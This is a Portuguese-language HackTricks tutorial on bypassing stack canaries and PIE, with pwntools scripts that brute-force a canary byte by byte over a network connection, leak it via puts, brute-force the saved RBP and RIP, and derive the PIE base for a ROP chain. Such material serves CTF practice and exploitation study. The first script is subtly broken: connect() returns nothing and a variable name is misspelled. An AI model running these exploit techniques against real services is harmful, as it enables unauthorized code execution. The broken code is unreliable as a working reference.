hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md

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**Se você estiver enfrentando um binário protegido por um canário e PIE (Executable Position Independent), provavelmente precisará encontrar uma maneira de contorná-los.**

![](<../../.gitbook/assets/image (144).png>)

{% hint style="info" %}
Observe que o **`checksec`** pode não encontrar que um binário está protegido por um canário se isso foi compilado estaticamente e não é capaz de identificar a função.\
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
{% endhint %}

# Força bruta no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa que **cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele, **o mesmo canário será usado**.

Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força bruta um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado correto e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outras situações** poderia ser usando um **try/except**):

## Exemplo 1

Este exemplo é implementado para 64 bits, mas pode ser facilmente implementado para 32 bits.
```python
from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                r.close()
                break
            else:
                guess += 1
                r.close()

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base
    
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
## Exemplo 2

Isso foi implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.\
Observe também que, para este exemplo, **o programa espera primeiro um byte para indicar o tamanho da entrada** e, em seguida, o payload.
```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	known_canary = b""
	test_canary = 0x0
	len_bytes_to_read = 0x21
	
	for j in range(0, 4):
		# Iterate up to 0xff times to brute force all posible values for byte
		for test_canary in range(0xff):
			print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
			
			# Send the current input size
			target.send(len_bytes_to_read.to_bytes(1, "little"))

			# Send this iterations canary
			target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil(b"exit.")
			if b"YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print(" - next byte is: " + hex(test_canary))
				known_canary = known_canary + test_canary.to_bytes(1, "little")
				len_bytes_to_read += 1
				break

	# Return the canary
	return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
# Imprimir o Canary

Outra maneira de contornar o canary é **imprimi-lo**.\
Imagine uma situação em que um **programa vulnerável** a estouro de pilha pode executar uma função **puts** apontando para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canary é um byte nulo** (`\x00`) e o restante do canary são bytes **aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até o primeiro byte do canary**.\
Em seguida, o atacante **chama a funcionalidade puts** no meio da carga útil, que irá **imprimir todo o canary** (exceto o primeiro byte nulo).\
Com essas informações, o atacante pode **criar e enviar um novo ataque** conhecendo o canary (na mesma sessão do programa)

Obviamente, essa tática é muito **restrita**, pois o atacante precisa ser capaz de **imprimir** o **conteúdo** de sua **carga útil** para **extrair** o **canary** e, em seguida, ser capaz de criar uma nova carga útil (na **mesma sessão do programa**) e **enviar** o **real estouro de buffer**.\
Exemplo de CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)

# PIE

Para contornar o PIE, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, o melhor a fazer é **forçar a barra do RBP e RIP salvos na pilha** na função vulnerável.\
Por exemplo, se um binário é protegido usando tanto um **canary** quanto o **PIE**, você pode começar a forçar a barra do canary, então os **próximos** 8 bytes (x64) serão o **RBP** salvo e os **próximos** 8 bytes serão o **RIP** salvo.

Para forçar a barra do RBP e do RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir algo ou se ele simplesmente não travar. A **mesma função** fornecida para forçar a barra do canary pode ser usada para forçar a barra do RBP e do RIP:
```python
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
## Obter o endereço base

A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**.

A partir do **RBP**, você pode calcular **onde está escrevendo seu shell na pilha**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **ponto de interrupção após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP:
```python
INI_SHELLCODE = RBP - 1152
```
A partir do **RIP**, você pode calcular o **endereço base do binário PIE**, que é o que você vai precisar para criar uma **cadeia ROP válida**.\
Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços desmontados:

![](<../../.gitbook/assets/image (145).png>)

Nesse exemplo, você pode ver que apenas **1 byte e meio é necessário** para localizar todo o código, então, o endereço base, nessa situação, será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou _0x562002970**ecf**_, o endereço base é _0x562002970**000**_.
```python
elf.address = RIP - (RIP & 0xfff)
```
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